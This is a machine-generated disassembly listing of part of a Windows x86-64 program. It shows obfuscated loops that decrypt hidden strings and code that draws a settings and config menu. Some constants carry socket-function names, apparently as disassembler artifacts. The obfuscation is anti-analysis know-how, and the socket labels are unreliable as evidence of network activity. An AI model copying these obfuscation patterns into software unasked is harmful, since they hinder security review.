sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008d123
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x14008cb99
movzx r11d, r10b
lea edx, [r11 - 4]
movzx eax, r9b
and al, dl
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008d08c
jne 0x14008ce11
movzx r11d, r10b
lea edx, [r11 - 0x16]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x66
add dil, dl
jmp 0x14008d08c
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008ce3a
lea ecx, [r10 - 0x66]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x36
jmp 0x14008d120
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008ce63
lea ecx, [r10 - 0x3a]
movzx eax, r9b
and al, cl
add al, al
sub r9b, al
lea edi, [rcx + r9]
sub dil, 0x6a
jmp 0x14008d123
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x14008cb50
movzx r11d, r10b
lea edx, [r11 - 0xe]
movzx eax, r9b
and al, dl
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008cff2
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008ced1
lea edx, [r10 + 0x38]
movzx eax, r9b
and al, dl
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
movzx eax, byte [rbp + r10 + 0x170]
add rax, r8
add r10, rax
inc r10
jmp 0x14008c693
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008cf01
movzx r11d, r10b
lea edx, [r11 - 0x70]
movzx eax, r9b
and al, dl
mov ecx, 8
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
jmp 0x14008cff2
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008cf33
lea edx, [r10 + 0x40]
movzx eax, r9b
and al, dl
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, dl
dec r10
inc r10
jmp 0x14008c693
cmp rbx, rcx
jne 0x14008cb0c
movzx r11d, r10b
lea edx, [r11 - 0x68]
movzx eax, r9b
and al, dl
add al, al
movzx edi, r9b
sub dil, al
sub dil, 0x28
add dil, dl
jmp 0x14008d08c
movzx r11d, r10b
lea edx, [r11 - 0x10]
movzx eax, r9b
and al, dl
movzx ecx, byte [rbp + r10 + 0x170]
sub cl, al
add cl, 0x38
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008d0fb
movzx r11d, r10b
lea edx, [r11 + 0x1c]
movzx eax, r9b
and al, dl
mov ecx, 0x1e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008cff2
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, byte [rbp + r10 + 0x170]
add rax, r8
add r10, rax
inc r10
jmp 0x14008c693
movzx r11d, r10b
lea edx, [r11 - 0x7e]
mov ecx, reloc.WS2_32.dll_gethostname
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
sub r11b, 0x4e
movzx eax, r9b
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
movzx eax, cl
mov byte [rbp + r10 + 0x170], al
inc r8
add rax, r8
sub r10, rax
lea edx, [r10 + 0x48]
movzx eax, r9b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r9b
add cl, dl
mov byte [rbp + r10 + 0x170], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x170]
add rax, r8
add r10, rax
inc r10
jmp 0x14008c693
lea edx, [r10 - 0x5a]
mov ecx, 0x3b
jmp 0x14008d0c2
movzx r11d, r10b
lea ecx, [r11 + 0x7a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x56
add r11b, 0x5a
movzx eax, r9b
and al, r11b
add al, al
sub r9b, al
sub r9b, 0x76
add r9b, r11b
mov byte [rbp + r10 + 0x170], r9b
inc r8
dec r10
inc r10
jmp 0x14008c693
lea edx, [r10 - 0xa]
mov ecx, 0x23
movzx eax, dl
and al, r9b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008c693
movzx r11d, r10b
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
sub r11b, 0x7a
movzx eax, r9b
and al, r11b
mov ecx, 0x2b
sub cl, al
add cl, cl
add cl, r9b
add cl, r11b
add cl, dil
mov byte [rbp + r10 + 0x170], cl
add rbx, r8
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008c693
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
sub dil, 0x4e
movzx eax, byte [rbp + r10 + 0x170]
add rax, r8
add r10, rax
inc r10
jmp 0x14008c693
sub r10b, 0x12
movzx eax, r9b
and al, r10b
mov ecx, 0x3f
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
jmp 0x14008c690
sub r10b, 0x3e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x4e
jmp 0x14008c675
lea rcx, [rbp + 0x1612e38]
jmp 0x14008d1c3
lea rcx, [rbp + 0x12ec4ce]
jmp 0x14008d1c3
lea rcx, [rbp + 0x170]
xor r8d, r8d
lea rdx, [0x1401db858]
call fcn.14003b3d0
test al, al
je 0x14008d218
movss xmm0, dword [0x1401db858]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401db708], eax
movss xmm1, dword [0x1401db85c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x1401db70c], eax
movss xmm0, dword [0x1401db860]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x1401db710], eax
call fcn.14000ca00
call fcn.14000d1d0
call fcn.14000a280
cmp dword [0x1401dd1d4], 2
jne 0x14008df87
mov dword [rbp + 0x78], 0x42aa0000
mov dword [rbp + 0x7c], 0x428c0000
lea rcx, [rbp + 0x78]
call fcn.14001a510
mov dword [rbp + 0x80], 0x438d0000
mov dword [rbp + 0x84], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x80]
lea rcx, str.Settings
call fcn.140009a60
mov byte [rbp + 0x3d0], 0x5d
mov byte [rbp + 0x3d1], 0x42
mov byte [rbp + 0x3d2], reloc.WS2_32.dll_sendto
mov byte [rbp + 0x3d3], 0x4e
mov byte [rbp + 0x3d4], 0xa3
mov byte [rbp + 0x3d5], 0xa5
mov byte [rbp + 0x3d6], 0xa1
mov byte [rbp + 0x3d7], 0xa1
mov byte [rbp + 0x3d8], 0x2e
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x3d9], xmm0
mov dword [rbp + 0x3e9], eax
mov word [rbp + 0x3ed], ax
movabs rsi, 0x19b47d7ff5db7a9
movabs r14, 0xe758697fa4b74f1
movabs r15, 0x4d1d787fe1926fb
movzx edi, byte [rsp + 0x50]
call fcn.1400049a0
mov rbx, qword [rax]
call fcn.1400049b0
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x1f
jae 0x14008df26
movzx r9d, byte [rbp + r10 + 0x3d0]
mov rdx, r9
nop dword [rax]
cmp rbx, r10
ja 0x14008df1a
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x14008d353
lea rcx, [r10 + rsi]
mov rax, rdx
and rax, rcx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rdx
add rdi, rcx
add dil, 0x61
jmp 0x14008d390
je 0x14008dea9
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008de7c
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008de38
lea rax, [r8 + 4]
cmp rbx, rax
je 0x14008de17
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008ddd1
nop dword [rax]
cmp r8, r10
ja 0x14008df0e
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x14008d3c1
lea ecx, [r10 - 0x23]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xb
jmp 0x14008d402
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008ddb2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x14008dd91
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008dd76
lea rax, [r8 + 7]
cmp rbx, rax
je 0x14008dced
lea rax, [r8 + 5]
cmp rbx, rax
je 0x14008dcc0
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x14008d973
nop
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x14008d954
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x14008d92c
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x14008d907
lea rax, [r8 + 6]
cmp rbx, rax
je 0x14008d8e8
lea rax, [r8 + 0x2a]
cmp rbx, rax
je 0x14008d8ca
lea rax, [r8 + 0x400]
cmp rbx, rax
je 0x14008d8ab
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x14008d888
lea rax, [r8 + 8]
cmp rbx, rax
je 0x14008d86d
lea rax, [r8 + 1]
cmp rbx, rax
je 0x14008d840
lea rax, [r8 + 0x1000]
cmp rbx, rax
je 0x14008d410
lea rbx, [r8 + 0x200]
lea r8, [rbx + 0x42]
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x14008def1
lea rax, [r8 + 5]
cmp rbx, rax
jb 0x14008ded4
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x14008d5fa
lea rax, [r8 + 0x3e8]
cmp rbx, rax
jb 0x14008d5df
lea rax, [r8 + 0x28]
cmp rbx, rax
jb 0x14008d5c4
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x14008d7f7
lea rax, [r8 + 0x2a]
cmp rbx, rax
jb 0x14008d7ae
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14008d76e
lea rax, [r8 + 0x40]
cmp rbx, rax
jb 0x14008d748
lea rax, [r8 + 8]
cmp rbx, rax
jb 0x14008d410
lea rbx, [r8 + 4]
lea r8, [rbx + 1]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x14008d71b
lea rax, [r8 + 0x200]
cmp rbx, rax
ja 0x14008d6fc
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x14008d6d9
lea rax, [r8 + 5]
cmp rbx, rax
ja 0x14008d6be
lea rax, [r8 + 0x5a]
cmp rbx, rax
ja 0x14008d6a0
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x14008d67d
lea rax, [r8 + 0x61]
cmp rbx, rax
ja 0x14008d658
lea rax, [r8 + 0x64]
cmp rbx, rax
ja 0x14008d634
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x14008d615
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x14008d410
lea rbx, [r8 + 0x2a]
lea r8, [rbx + 0x7a]
jmp 0x14008d410
lea ecx, [r10 - 0x3d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x55
jmp 0x14008d402
lea ecx, [r10 + 0x71]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x17
jmp 0x14008d390
lea ecx, [r10 + 0x1f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x27
jmp 0x14008d319
lea ecx, [r10 - 0x18]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x58
movzx r11d, r10b
jmp 0x14008ddeb
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
inc r8
dec r10
inc r10
jmp 0x14008d306
lea edx, [r10 + 0x44]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008d306
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008de52
lea ecx, [r10 - 0x60]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x60
add rbx, r8
jmp 0x14008de90
lea ecx, [r10 + 0x4e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x22
jmp 0x14008de90
lea edx, [r10 - 4]
movzx eax, dl
and al, r9b
mov ecx, recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008dd07
lea edx, [r10 - 0x56]
movzx eax, dl
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008dd33
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x68
movzx eax, byte [rbp + r10 + 0x3d0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d306
lea ecx, [r10 + 0xb]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4d
mov byte [rbp + r10 + 0x3d0], dil
inc r10
jmp 0x14008d306
lea ecx, [r10 - 0x47]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xf
cmp r8, 0x41
jb 0x14008d75e
movzx r11d, r10b
lea ecx, [r11 + 0x56]
movzx eax, cl
and al, r9b
mov edx, reloc.WS2_32.dll_send
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14008ddeb
lea ecx, [r10 + 0x67]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2f
cmp rbx, 0x20
jae 0x14008dc7c
lea rax, [r8 + 9]
cmp rbx, rax
jbe 0x14008db97
lea edx, [r10 + 0x22]
movzx eax, dl
and al, r9b
mov ecx, 9
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008d784
lea ecx, [r10 + 0x15]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6d
lea rax, [r8 + rbx]
cmp rax, 0x5a
je 0x14008dca3
lea rax, [r8 + 0x61]
cmp rbx, rax
jbe 0x14008da8a
lea ecx, [r10 + 0x45]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x1d
jmp 0x14008d7c4
lea ecx, [r10 + 0x2e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x42
movzx eax, byte [rbp + r10 + 0x3d0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d306
lea ecx, [r10 - 0x24]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 4
jmp 0x14008dd33
movzx r11d, r10b
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008dd07
lea edx, [r10 + 0x38]
movzx eax, dl
and al, r9b
mov ecx, 0x3c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008de90
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
add rbx, r8
jmp 0x14008de90
movzx r11d, r10b
lea ecx, [r11 - 0x6c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xc
jmp 0x14008de52
lea edx, [r10 + 0x42]
movzx eax, dl
and al, r9b
mov ecx, 0x19
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008d306
lea edx, [r10 - 0x10]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x14008d306
movzx r11d, r10b
lea ecx, [r11 - 0x62]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x52
jmp 0x14008ddeb
lea rcx, [r8 + 6]
cmp rbx, rcx
jae 0x14008d99b
lea ecx, [r10 - 0x57]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x61
jmp 0x14008d80d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008d9d5
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x16
movzx eax, byte [rbp + r10 + 0x3d0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d306
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008da05
movzx r11d, r10b
lea edx, [r11 + 0x5e]
movzx eax, dl
and al, r9b
mov ecx, gethostname
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008dd07
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008da30
lea ecx, [r10 + 2]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xe
add rbx, r8
jmp 0x14008de90
cmp rbx, rcx
jne 0x14008da58
movzx r11d, r10b
lea ecx, [r11 + 0x54]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4c
jmp 0x14008de52
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008d80d
lea edx, [r10 - 0x5a]
movzx eax, dl
and al, r9b
mov ecx, 0x3b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
dec r10
inc r10
jmp 0x14008d306
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008dab6
movzx r11d, r10b
lea ecx, [r11 - 0x69]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x21
jmp 0x14008ddeb
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008dae2
movzx r11d, r10b
lea ecx, [r11 - 0x73]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x25
jmp 0x14008de52
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008db0d
lea ecx, [r10 - 0x21]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x19
add rbx, r8
jmp 0x14008de90
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008db35
lea ecx, [r10 + 0x31]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x57
jmp 0x14008de90
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008db5d
lea ecx, [r10 - 0x2b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x2d
jmp 0x14008dd33
lea rax, [r8 + 9]
cmp rbx, rax
jne 0x14008d7c4
lea ecx, [r10 + 0x27]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x11
movzx eax, byte [rbp + r10 + 0x3d0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d306
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x14008dbd1
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
movzx eax, byte [rbp + r10 + 0x3d0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d306
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x14008dbf9
lea ecx, [r10 - 0x3a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6a
jmp 0x14008dd33
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x14008dc25
lea edx, [r10 + 0x6a]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008de90
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x14008dc50
lea ecx, [r10 - 0x44]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x24
add rbx, r8
jmp 0x14008de90
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008d784
movzx r11d, r10b
lea ecx, [r11 + 4]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1c
jmp 0x14008ddeb
movzx r11d, r10b
lea edx, [r11 - 0x58]
movzx eax, dl
and al, r9b
movzx ecx, byte [rbp + r10 + 0x3d0]
sub cl, al
add cl, 0x34
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008de52
movzx r11d, r10b
lea edx, [r11 - 6]
movzx eax, dl
and al, r9b
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008dd07
lea ecx, [r10 - 0x41]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x39
movzx eax, byte [rbp + r10 + 0x3d0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d306
movzx r11d, r10b
lea ecx, [r11 + 0x1b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x43
sub r11b, 0x5d
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x75
add r11b, r9b
movzx eax, r11b
mov byte [rbp + r10 + 0x3d0], al
inc r8
add rax, r8
sub r10, rax
lea ecx, [r10 + 0x4c]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
sub cl, 0x14
add cl, r9b
mov byte [rbp + r10 + 0x3d0], cl
inc rbx
mov rax, 0xffffffffffffffff
sub rax, rbx
add r10, rax
movzx eax, byte [rbp + r10 + 0x3d0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d306
lea ecx, [r10 - 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7f
jmp 0x14008de90
lea ecx, [r10 - 0x2d]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x3b
dec r10
inc r10
jmp 0x14008d306
movzx r11d, r10b
lea ecx, [r11 + 0x2f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x49
jmp 0x14008ddeb
movzx r11d, r10b
lea ecx, [r11 - 0x75]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x33
dec r11b
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
add r11b, 7
add r11b, r9b
mov byte [rbp + r10 + 0x3d0], r11b
inc r8
dec r10
inc r10
jmp 0x14008d306
lea ecx, [r10 - 0x19]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x51
dec r10
inc r10
jmp 0x14008d306
movzx r11d, r10b
lea ecx, [r11 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
add r11b, 0x51
movzx eax, r11b
and al, r9b
add al, al
sub r11b, al
sub r11b, 0x37
add r11b, dil
add r11b, r9b
mov byte [rbp + r10 + 0x3d0], r11b
add rbx, r8
jmp 0x14008de90
lea rcx, [r10 + r14]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x69
movzx eax, dil
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r10, rcx
inc r10
jmp 0x14008d306
lea rcx, [r10 + r15]
movzx eax, cl
and al, dl
add al, al
sub cl, al
lea edi, [rdx + rcx]
add dil, 0x23
movzx eax, byte [rbp + r10 + 0x3d0]
add rax, r8
add r10, rax
inc r10
jmp 0x14008d306
sub r10b, 0x33
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
add dil, 0x65
jmp 0x14008d303
add r10b, 0x7b
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x5d
jmp 0x14008d2f3
lea rcx, [rbp + 0x177695c]
jmp 0x14008df2d
lea rcx, [rbp + 0x1152105]
jmp 0x14008df2d
lea rcx, [rbp + 0x3d0]
xor r8d, r8d
lea rdx, [0x1401db868]
call fcn.14003b3d0
test al, al
je 0x14008df82
movss xmm0, dword [0x1401db868]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x14017e020], eax
movss xmm1, dword [0x1401db86c]
mulss xmm1, xmm6
cvttss2si eax, xmm1
mov dword [0x14017e024], eax
movss xmm0, dword [0x1401db870]
mulss xmm0, xmm6
cvttss2si eax, xmm0
mov dword [0x14017e028], eax
call fcn.14000ca00
call fcn.14000d1d0
call fcn.14000a280
cmp dword [0x1401dd1d4], 3
jne 0x14008e034
mov dword [rbp - 0x78], 0x42aa0000
mov dword [rbp - 0x74], 0x428c0000
lea rcx, [rbp - 0x78]
call fcn.14001a510
mov dword [rbp - 0x28], 0x438d0000
mov dword [rbp - 0x24], 0x43c10000
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x28]
lea rcx, str.Configs
call fcn.140009a60
mov dword [rbp + 0x10], 0
mov dword [rbp + 0x14], 0
lea rdx, [rbp + 0x10]
lea rcx, str.Save_Config
call fcn.140039910
test al, al
je 0x14008e004
call fcn.14004ef10
mov dword [rbp + 0x18], 0
mov dword [rbp + 0x1c], 0
lea rdx, [rbp + 0x18]
lea rcx, str.Load_Config
call fcn.140039910
test al, al
je 0x14008e02f
call fcn.14004eb80
call fcn.14000ca00
call fcn.14000d1d0
nop
lea rcx, [rbp + 0x650]
call fcn.140044af0
call fcn.14000c720
nop
mov rdx, qword [rbp + 0x688]
cmp rdx, 0xf
jbe 0x14008e09c
inc rdx
mov rcx, qword [rbp + 0x670]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008e097
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008e097
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14013c8c8
mov rcx, qword [rbp + 0x6a8]
xor rcx, rsp
call fcn.14013cd40
lea r11, [rsp + 0x820]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
movaps xmm8, xmmword [r11 - 0x30]
movaps xmm10, xmmword [r11 - 0x40]
movaps xmm11, xmmword [r11 - 0x50]
movaps xmm12, xmmword [r11 - 0x60]
movaps xmm13, xmmword [r11 - 0x70]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret